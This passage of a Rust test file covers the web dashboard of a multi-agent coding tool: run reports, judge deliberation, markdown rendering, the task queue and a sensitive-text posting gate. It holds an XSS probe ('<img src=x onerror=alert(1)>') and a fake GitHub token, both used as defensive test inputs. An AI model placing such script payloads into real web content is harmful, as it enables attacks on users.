19547            assert!(detail["superseded_by"].is_null());
19548            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19549            let history = task_detail["history"].as_array().unwrap();
19550            assert_eq!(history.len(), 2);
19551            assert!(history[0]["badge"].is_null());
19552            assert_eq!(history[1]["badge"], expected);
19553            q.status = ask::QuestionStatus::Answered;
19554            store.put(&mut q).unwrap();
19555        }
19556    }
19557
19558    #[tokio::test]
19559    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19560        let f = Fixture::start().await;
19561        let id = "20260922-090200-abcd";
19562        write_run(&f.runs(), id, RunStatus::Judging);
19563        let mut state = read_run(&f.runs(), id).unwrap();
19564        state.parked = true;
19565        state.driver_exited = true;
19566        state.event("park", "stopped at a node boundary");
19567        state.save_under(f.home.path()).unwrap();
19568
19569        for expected in ["parked", "stale"] {
19570            let list = f.get("/api/runs").await.json();
19571            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19572            assert_eq!(list[0]["live"], "dead");
19573            assert_eq!(list[0]["display_status"], expected);
19574            assert_eq!(detail["display_status"], expected);
19575            // Model a driver claim followed by a crash before the next event:
19576            // the persisted flag changes, but the last event is still park.
19577            state.parked = false;
19578            state.save_under(f.home.path()).unwrap();
19579        }
19580    }
19581
19582    #[tokio::test]
19583    async fn the_run_list_is_newest_first_and_honours_a_limit() {
19584        let f = Fixture::start().await;
19585        for id in [
19586            "20260902-140501-aaaa",
19587            "20260902-140502-bbbb",
19588            "20260902-140503-cccc",
19589        ] {
19590            write_run(&f.runs(), id, RunStatus::Merged);
19591        }
19592
19593        let all = f.get("/api/runs").await.json();
19594        let capped = f.get("/api/runs?limit=2").await.json();
19595
19596        assert_eq!(all[0]["id"], "20260902-140503-cccc");
19597        assert_eq!(all.as_array().map(Vec::len), Some(3));
19598        assert_eq!(capped.as_array().map(Vec::len), Some(2));
19599        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19600    }
19601
19602    #[tokio::test]
19603    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19604        let f = Fixture::start().await;
19605        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19606
19607        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19608
19609        assert_eq!(res.status, 200);
19610        assert!(
19611            res.headers
19612                .contains("content-type: text/plain; charset=utf-8"),
19613            "a browser must render it, not download it: {}",
19614            res.headers
19615        );
19616        // The assertion is on content, not on the absence of escapes: colour
19617        // is a process-global that `serve` turns off at startup, and another
19618        // test in this binary may own it while this one runs.
19619        assert!(
19620            res.body.contains("20260902-140501-a1b2"),
19621            "the report is about the run that was asked for: {}",
19622            res.body
19623        );
19624    }
19625
19626    #[tokio::test]
19627    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19628        // The view names the run's state directory, which reads the process-global home.
19629        crate::run::pin_test_home();
19630        let f = Fixture::start().await;
19631        let id = "20260902-140501-a1b2";
19632        write_run(&f.runs(), id, RunStatus::Stalled);
19633        // A stalled panel and one review round, written through the real
19634        // state file so the route reads what a run really leaves behind.
19635        let path = f.runs().join(id).join("run.json");
19636        let mut v: serde_json::Value =
19637            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19638        v["tally"] = serde_json::json!({
19639            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19640            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19641            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19642            "met_quorum": false, "rankings": 1
19643        });
19644        v["reviews"] = serde_json::json!([{
19645            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19646            "e2e_deferred": true,
19647            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19648                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19649            ]}]
19650        }]);
19651        std::fs::write(&path, v.to_string()).unwrap();
19652        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19653        std::fs::write(
19654            f.runs().join("20260902-140502-dead").join("run.json"),
19655            "{not json",
19656        )
19657        .unwrap();
19658
19659        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19660
19661        assert_eq!(res.status, 200, "{}", res.body);
19662        assert!(res.headers.contains("content-type: application/json"));
19663        let j = res.json();
19664        assert_eq!(j["schema"], 1);
19665        assert_eq!(j["header"]["id"], id);
19666        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19667        let kinds: Vec<&str> = j["sections"]
19668            .as_array()
19669            .unwrap()
19670            .iter()
19671            .map(|s| s["kind"].as_str().unwrap())
19672            .collect();
19673        assert_eq!(kinds, ["candidates", "tally", "review"]);
19674        let tally = &j["sections"][1]["tally"];
19675        assert_eq!(
19676            (tally["decided"].clone(), tally["provisional"].clone()),
19677            (false.into(), true.into())
19678        );
19679        let round = &j["sections"][2]["rounds"][0];
19680        assert_eq!(round["e2e"]["state"], "deferred");
19681        assert_eq!(round["findings"][0]["severity"], "major");
19682        assert_eq!(round["findings"][0]["blocking"], true);
19683        assert_eq!(round["findings"][0]["state"], "open");
19684
19685        // The raw route keeps working beside it.
19686        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19687
19688        // An unreadable run is an error, as on the text route, and is counted.
19689        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19690        assert_ne!(bad.status, 200, "{}", bad.body);
19691        assert_eq!(
19692            bad.status,
19693            f.get("/api/runs/20260902-140502-dead/report").await.status
19694        );
19695        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19696        assert_eq!(
19697            f.get("/api/runs/20260902-999999-ffff/report.json")
19698                .await
19699                .status,
19700            404
19701        );
19702    }
19703
19704    #[tokio::test]
19705    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19706        crate::run::pin_test_home();
19707        let f = Fixture::start().await;
19708        let id = "20260902-140503-delib";
19709        write_run(&f.runs(), id, RunStatus::Merged);
19710        let path = f.runs().join(id).join("run.json");
19711        let mut v: serde_json::Value =
19712            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19713        v["judgements"] = serde_json::json!([
19714            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19715        ]);
19716        v["tally"] = serde_json::json!({
19717            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19718            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19719            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19720            "met_quorum": true, "rankings": 1
19721        });
19722        v["deliberation"] = serde_json::json!([
19723            {
19724                "round": 1,
19725                "turns": [
19726                    {
19727                        "judge": 1,
19728                        "agent": "judge-1",
19729                        "body": "I prefer candidate **A** because it has cleaner tests.",
19730                        "tentative": "A"
19731                    }
19732                ]
19733            },
19734            {
19735                "round": 2,
19736                "turns": [
19737                    {
19738                        "judge": 1,
19739                        "agent": "judge-1",
19740                        "body": "Still thinking, no choice yet.",
19741                        "tentative": null
19742                    }
19743                ]
19744            }
19745        ]);
19746        std::fs::write(&path, v.to_string()).unwrap();
19747
19748        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19749        assert_eq!(res.status, 200, "{}", res.body);
19750        let j = res.json();
19751        let judging = j["sections"]
19752            .as_array()
19753            .unwrap()
19754            .iter()
19755            .find(|s| s["kind"] == "judging")
19756            .expect("judging section exists");
19757
19758        // Existing summary lines remain intact
19759        let delib_lines = judging["deliberation"].as_array().unwrap();
19760        assert_eq!(delib_lines.len(), 2);
19761        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19762        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19763
19764        // rounds carry turn bodies, tentative and parsed body_md
19765        let rounds = judging["rounds"].as_array().unwrap();
19766        assert_eq!(rounds.len(), 2);
19767        let r1_t0 = &rounds[0]["turns"][0];
19768        assert_eq!(r1_t0["judge"], 1);
19769        assert_eq!(r1_t0["agent"], "judge-1");
19770        assert_eq!(r1_t0["tentative"], "A");
19771        assert_eq!(
19772            r1_t0["body"],
19773            "I prefer candidate **A** because it has cleaner tests."
19774        );
19775        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19776
19777        let r2_t0 = &rounds[1]["turns"][0];
19778        assert_eq!(r2_t0["judge"], 1);
19779        assert_eq!(r2_t0["agent"], "judge-1");
19780        assert!(r2_t0["tentative"].is_null());
19781        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19782        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19783
19784        // A run with empty deliberation array yields empty rounds
19785        let id_empty = "20260902-140504-nodelib";
19786        write_run(&f.runs(), id_empty, RunStatus::Merged);
19787        let path_empty = f.runs().join(id_empty).join("run.json");
19788        let mut v_empty: serde_json::Value =
19789            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19790        v_empty["judgements"] = serde_json::json!([
19791            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19792        ]);
19793        v_empty["deliberation"] = serde_json::json!([]);
19794        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19795
19796        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19797        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19798        let j_empty = res_empty.json();
19799        let judging_empty = j_empty["sections"]
19800            .as_array()
19801            .unwrap()
19802            .iter()
19803            .find(|s| s["kind"] == "judging")
19804            .expect("judging section exists");
19805        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19806    }
19807
19808    #[tokio::test]
19809    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19810        let f = Fixture::start().await;
19811
19812        let html = f.get("/").await;
19813        let css = f.get("/app.css").await;
19814        let js = f.get("/app.js").await;
19815
19816        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19817        assert!(
19818            html.headers
19819                .contains("content-type: text/html; charset=utf-8")
19820        );
19821        assert!(css.headers.contains("content-type: text/css"));
19822        assert!(js.headers.contains("content-type: text/javascript"));
19823        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19824    }
19825
19826    #[test]
19827    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19828        let body = |name: &str| {
19829            let at = APP_JS
19830                .find(name)
19831                .unwrap_or_else(|| panic!("{name} missing"));
19832            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19833        };
19834        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19835        let note = body("function landRoundNote");
19836        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19837        assert!(note.contains("Land round ${round}"));
19838        let land = body("function renderLand");
19839        let note_at = land
19840            .find("landRoundNote(pr)")
19841            .expect("renderLand uses the note");
19842        assert!(
19843            note_at
19844                < land
19845                    .find("roundRail(pr)")
19846                    .expect("renderLand uses the rail")
19847        );
19848    }
19849
19850    #[test]
19851    fn the_runs_page_redesign_keeps_its_guards() {
19852        let body = |name: &str| {
19853            let at = APP_JS
19854                .find(name)
19855                .unwrap_or_else(|| panic!("{name} missing"));
19856            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19857        };
19858        // A null child must never reach the native append (it prints "null").
19859        let land = body("function renderLand");
19860        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19861        assert!(
19862            !land.contains("box.append("),
19863            "renderLand must use append()"
19864        );
19865        assert!(land.contains("append(box, ["));
19866        // Tabs are hash routes; the run id alone decides a reload.
19867        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19868        assert!(
19869            body("function applyRoute")
19870                .contains("route.name !== state.route.name || route.id !== state.route.id")
19871        );
19872        // The decorative diagram is gone, the strip and its guards stay.
19873        assert!(!APP_JS.contains("adviseConvergeDiagram"));
19874        assert!(!INDEX_HTML.contains("advise-converge"));
19875        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19876        assert!(APP_JS.contains("provisional"));
19877        for id in [
19878            "run-tab-overview",
19879            "run-tab-timeline",
19880            "run-tab-report",
19881            "run-report",
19882            "runs-scope",
19883        ] {
19884            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19885        }
19886        assert!(!INDEX_HTML.contains("runs-tree"));
19887        assert!(!INDEX_HTML.contains("run-raw-panel"));
19888        // Fold still says it cannot be resumed.
19889        assert!(APP_JS.contains("resume"));
19890        // The unreadable-runs count stays on the page.
19891        assert!(APP_JS.contains("unreadable"));
19892    }
19893
19894    #[test]
19895    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19896        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19897        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19898        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
19899        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19900        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19901        // The subtitle still counts them whatever the banner does.
19902        assert!(APP_JS.contains("unreadable` : null"));
19903    }
19904
19905    #[test]
19906    fn blocked_run_detail_exposes_the_failed_gate_reason() {
19907        let mut state = RunState::new(
19908            "/repo".into(),
19909            "main".into(),
19910            "abc".into(),
19911            "task".into(),
19912            crate::config::Config::default(),
19913        );
19914        state.status = RunStatus::Blocked;
19915        state.gate_ran = true;
19916        state.gate.push(crate::run::CommandOutcome {
19917            command: "cargo make check".into(),
19918            code: Some(1),
19919            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19920            duration_ms: 0,
19921            resource_blocked: false,
19922        });
19923        let view = RunDetailView::of(
19924            state,
19925            false,
19926            crate::run::Liveness::Unknown,
19927            None,
19928            None,
19929            None,
19930        );
19931        let value = serde_json::to_value(view).unwrap();
19932        assert_eq!(
19933            value["stop_reason"],
19934            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19935        );
19936    }
19937
19938    #[test]
19939    fn the_run_detail_payload_says_whether_the_run_is_done() {
19940        // `landView` reads `run.done`; the detail response must carry it.
19941        for (status, done) in [
19942            (RunStatus::Superseded, true),
19943            (RunStatus::Blocked, true),
19944            (RunStatus::Landing, false),
19945        ] {
19946            let mut state = RunState::new(
19947                std::path::PathBuf::from("/repo"),
19948                "main".to_owned(),
19949                "abc".to_owned(),
19950                "x".to_owned(),
19951                crate::config::Config::default(),
19952            );
19953            state.status = status;
19954            let v = serde_json::to_value(RunDetailView::of(
19955                state,
19956                false,
19957                crate::run::Liveness::Unknown,
19958                None,
19959                None,
19960                None,
19961            ))
19962            .unwrap();
19963            assert_eq!(v["done"], done, "{status:?}");
19964        }
19965    }
19966
19967    /// The first node of a markdown block holds a `strong` somewhere.
19968    fn has_strong(nodes: &[md::Node]) -> bool {
19969        serde_json::to_string(nodes).unwrap().contains("strong")
19970    }
19971
19972    #[test]
19973    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19974        let mut state = RunState::new(
19975            std::path::PathBuf::from("/repo"),
19976            "main".to_owned(),
19977            "abc".to_owned(),
19978            "x".to_owned(),
19979            crate::config::Config::default(),
19980        );
19981        let proposal = |approach: &str| {
19982            serde_json::json!({
19983                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19984            })
19985        };
19986        state.advice = Some(
19987            serde_json::from_value(serde_json::json!({
19988                "records": [
19989                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19990                     "proposal": proposal("do **this**")},
19991                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19992                ],
19993                "synthesis": "- one\n- **two**\n\n`code`",
19994            }))
19995            .unwrap(),
19996        );
19997        state.candidates = serde_json::from_value(serde_json::json!([
19998            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19999             "summary": "did **it**"},
20000            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20001        ]))
20002        .unwrap();
20003        // Recorded in ascending severity, the reverse of how the page sorts
20004        // them: the arrays must follow the record, not the display.
20005        state.reviews = serde_json::from_value(serde_json::json!([{
20006            "round": 1, "head": "h",
20007            "reviews": [{
20008                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20009                "findings": [
20010                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
20011                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20012                ],
20013            }],
20014            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20015            "fix": {"agent": "a", "notes": "fixed **it**",
20016                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20017        }, {"round": 2, "head": "h2", "reviews": []}]))
20018        .unwrap();
20019
20020        let v = serde_json::to_value(RunDetailView::of(
20021            state,
20022            false,
20023            crate::run::Liveness::Unknown,
20024            None,
20025            None,
20026            None,
20027        ))
20028        .unwrap();
20029
20030        let strong = |p: &str| {
20031            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20032            assert!(n.to_string().contains("strong"), "{p}: {n}");
20033        };
20034        strong("/advice_md/synthesis");
20035        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20036        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20037        strong("/advice_md/approaches/0");
20038        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20039        strong("/candidate_summaries_md/0");
20040        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20041        strong("/reviews_md/0/reviewers/0/summary");
20042        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20043        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20044        assert!(f[1].to_string().contains("strong"));
20045        strong("/reviews_md/0/reconsideration/0");
20046        strong("/reviews_md/0/fix/notes");
20047        strong("/reviews_md/0/fix/rejected/0");
20048        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20049        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20050        // The raw strings stay, and no schema moved.
20051        assert_eq!(v["candidates"][0]["summary"], "did **it**");
20052        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20053    }
20054
20055    #[test]
20056    fn a_run_without_advice_has_no_advice_md() {
20057        let state = RunState::new(
20058            std::path::PathBuf::from("/repo"),
20059            "main".to_owned(),
20060            "abc".to_owned(),
20061            "x".to_owned(),
20062            crate::config::Config::default(),
20063        );
20064        let p = run_prose_md(&state);
20065        assert!(p.advice_md.is_none());
20066        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20067    }
20068
20069    #[test]
20070    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20071        let store = ask::Questions::at(PathBuf::from("unused"));
20072        let gt = crate::github_text::Withheld {
20073            title: false,
20074            body: true,
20075            categories: vec!["sensitive-data".into()],
20076        };
20077        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20078        let (detail, comparison) =
20079            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20080        let mut q = Question::new(
20081            "r".into(),
20082            "github-text".into(),
20083            "posting-gate".into(),
20084            "s".into(),
20085            detail,
20086            Vec::new(),
20087        );
20088        assert!(
20089            QuestionView::of(q.clone(), &store, None)
20090                .posting_view
20091                .is_none()
20092        );
20093        q.posting_comparison = Some(comparison);
20094        let view = QuestionView::of(q.clone(), &store, None);
20095        let field = &view.posting_view.unwrap().fields[0];
20096        assert_eq!(
20097            field
20098                .original
20099                .iter()
20100                .map(|f| f.text.as_str())
20101                .collect::<String>(),
20102            body
20103        );
20104        assert!(field.original[0].text.starts_with("<img"));
20105        let original_question: Question =
20106            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20107        assert_eq!(original_question, q);
20108        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20109            .original
20110            .start = 1;
20111        assert!(
20112            QuestionView::of(q.clone(), &store, None)
20113                .posting_view
20114                .is_none()
20115        );
20116        q.posting_comparison = original_question.posting_comparison;
20117        q.detail.push_str("extra context");
20118        assert!(
20119            QuestionView::of(q.clone(), &store, None)
20120                .posting_view
20121                .is_some()
20122        );
20123        q.detail.insert(0, 'x');
20124        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20125    }
20126
20127    #[test]
20128    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20129        let store = ask::Questions::at(PathBuf::from("unused"));
20130        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20131        let gt = crate::github_text::Withheld::from_check(
20132            &crate::github_text::check("fix: x", body),
20133            "fix: x",
20134            body,
20135        )
20136        .unwrap();
20137        let (detail, comparison) =
20138            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20139        let mut q = Question::new(
20140            "r".into(),
20141            "github-text".into(),
20142            "posting-gate".into(),
20143            "s".into(),
20144            detail,
20145            Vec::new(),
20146        );
20147        q.posting_comparison = Some(comparison);
20148        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20149        let field = &value["posting_view"]["fields"][0];
20150        let group = &field["replacement_group"];
20151        let triggers = group["triggers"].as_array().unwrap();
20152        assert_eq!(triggers.len(), 2);
20153        assert_ne!(triggers[0], triggers[1]);
20154        for id in triggers {
20155            assert!(
20156                field["original"]
20157                    .as_array()
20158                    .unwrap()
20159                    .iter()
20160                    .any(|f| &f["pair"] == id)
20161            );
20162            assert!(
20163                !field["changed"]
20164                    .as_array()
20165                    .unwrap()
20166                    .iter()
20167                    .any(|f| &f["pair"] == id)
20168            );
20169        }
20170        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20171            group["id"].as_u64().unwrap() as usize;
20172        assert!(
20173            QuestionView::of(q, &store, None).posting_view.is_none(),
20174            "group and trigger IDs cannot collide"
20175        );
20176    }
20177
20178    #[test]
20179    fn a_question_view_carries_markdown_for_each_thread_turn() {
20180        let home = TempDir::new().unwrap();
20181        let store = ask::Questions::at(home.path().join("questions"));
20182        let mut q = Question::new(
20183            "run".to_owned(),
20184            "implement".to_owned(),
20185            "impl-A".to_owned(),
20186            "which?".to_owned(),
20187            String::new(),
20188            Vec::new(),
20189        );
20190        q.say("plain words").unwrap();
20191        q.reply("use **this**", Vec::new()).unwrap();
20192        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20193        let bodies = &v["thread_bodies_md"];
20194        assert_eq!(bodies.as_array().unwrap().len(), 2);
20195        assert!(!bodies[0].to_string().contains("strong"));
20196        assert!(bodies[1].to_string().contains("strong"));
20197    }
20198
20199    #[test]
20200    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20201        let home = TempDir::new().unwrap();
20202        let store = ask::Questions::at(home.path().join("questions"));
20203        let mut q = Question::new(
20204            "run".to_owned(),
20205            "conduct".to_owned(),
20206            "conduct".to_owned(),
20207            "which?".to_owned(),
20208            String::new(),
20209            Vec::new(),
20210        );
20211        q.say("plain words").unwrap();
20212        q.thread.push(ask::Turn {
20213            who: ask::Who::Agent,
20214            body: "Settled as `merge`".to_owned(),
20215            at: jiff::Timestamp::now(),
20216            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20217        });
20218        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20219        let notes = &v["thread_notes_md"];
20220        assert_eq!(notes.as_array().unwrap().len(), 2);
20221        assert!(notes[0].is_null());
20222        let text = notes[1].to_string();
20223        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20224        assert!(APP_JS.contains("ask-turn-note"));
20225    }
20226
20227    #[test]
20228    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20229        // The land panel defers to `run.status` for merged, and labels a
20230        // recorded-open PR on any finished run (superseded, blocked, ...) as
20231        // last seen, never as live state.
20232        assert!(APP_JS.contains("function landView(run, raw) {"));
20233        assert!(
20234            APP_JS.contains(
20235                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20236            )
20237        );
20238        assert!(APP_JS.contains("const pr = landView(run, raw);"));
20239        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20240        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20241        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20242    }
20243
20244    #[test]
20245    fn live_runs_are_never_hidden_or_folded_as_superseded() {
20246        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
20247        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20248        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20249        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20250    }
20251
20252    #[test]
20253    fn review_rounds_label_a_distinct_verified_head() {
20254        assert!(APP_JS.contains("round.verified_head"));
20255        assert!(APP_JS.contains("verified HEAD"));
20256        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20257    }
20258
20259    #[test]
20260    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20261        // A blocked task's chip and note must not fall back to a queued-like
20262        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
20263        // itself by e11fc58 but never checked here.
20264        assert!(APP_JS.contains("blocked: { glyph:"));
20265        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20266
20267        // `blocked_by` mixes task ids and question ids in the same list, and
20268        // the client can only tell them apart by checking each id against
20269        // what it actually knows - never by guessing from the id's shape.
20270        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20271        assert!(
20272            APP_JS.contains(
20273                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20274            ),
20275            "the note line must name what a blocked task is waiting on, not just that it is blocked"
20276        );
20277        // The classification must key off `status_str`, never off `blocked_by`
20278        // or `block_reason` merely being present - both can survive briefly
20279        // on a task a hold or a dead daemon just moved off `blocked`.
20280        assert!(APP_JS.contains("if (status === \"blocked\") {"));
20281
20282        // A question a task is blocked on gets its own node in the same
20283        // dependency graph, not just a task-shaped node with nothing known
20284        // about it.
20285        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20286        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20287        assert!(
20288            APP_JS.contains("location.hash = \"#/questions\";"),
20289            "a question node must jump to the Questions screen, not pretend to be a task"
20290        );
20291
20292        // `Task::answers` - decisions already made - are shown as a record on
20293        // the card, the same disclosure style as the full instruction.
20294        assert!(APP_JS.contains("Resolved questions"));
20295        assert!(APP_JS.contains("r.answersList.append("));
20296        assert!(APP_CSS.contains(".task-answers"));
20297        {
20298            let start = APP_JS
20299                .find("function updateTalkTaskRow")
20300                .expect("updateTalkTaskRow");
20301            let body = &APP_JS[start..];
20302            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20303            assert!(
20304                body.contains(
20305                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20306                ),
20307                "a chat-filed task row must link to the task page"
20308            );
20309            assert!(
20310                !body.contains("#/runs/") && !body.contains("#/queue/"),
20311                "the row must not branch to a run or the queue card"
20312            );
20313            assert!(APP_CSS.contains(".talk-task-link"));
20314        }
20315    }
20316
20317    #[test]
20318    fn a_task_notification_links_to_the_task_page() {
20319        // A task notice opens the task detail page, not the Backlog card.
20320        let start = APP_JS
20321            .find("function noticeLink(")
20322            .expect("noticeLink exists");
20323        let body = &APP_JS[start..];
20324        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20325        assert!(
20326            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20327            "a task notice's link must target the task page"
20328        );
20329        assert!(
20330            !body.contains("#/queue/"),
20331            "regression: the task link must not go back to the Backlog route"
20332        );
20333        assert!(
20334            APP_JS.contains(
20335                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20336            ),
20337            "`#/tasks/<id>` must parse into the task route"
20338        );
20339
20340        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
20341        assert!(
20342            APP_JS.contains(
20343                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20344            ),
20345            "`#/queue/<id>` must parse into a route carrying that id"
20346        );
20347
20348        // And the Backlog view has to actually land on the card once it can
20349        // - see consumeQueueFocus(), which renderQueue() calls on every pass
20350        // so a focus set before the queue has loaded is retried once it has.
20351        assert!(APP_JS.contains("state.queueFocus = route.id;"));
20352        assert!(APP_JS.contains("function consumeQueueFocus()"));
20353        assert!(APP_JS.contains("jumpToTask(id)"));
20354    }
20355
20356    #[test]
20357    fn notifications_distinguish_actionable_questions_from_informational_notices() {
20358        let start = APP_JS
20359            .find("function noticeCoveredBy(")
20360            .expect("noticeCoveredBy exists");
20361        let body = &APP_JS[start..];
20362        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20363
20364        // Historical associations are informational, even for open questions.
20365        assert!(body.contains("Associated question ${short}"));
20366        assert!(!body.contains("el(\"a\""));
20367
20368        // A resolved question displays status rather than an actionable link
20369        assert!(body.contains("(resolved)"));
20370        assert!(body.contains("(closed)"));
20371
20372        let start = APP_JS
20373            .find("function renderNotifications()")
20374            .expect("renderNotifications exists");
20375        let body = &APP_JS[start..];
20376        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20377
20378        // Only a server-resolved answerable question supplies a response link.
20379        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20380        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
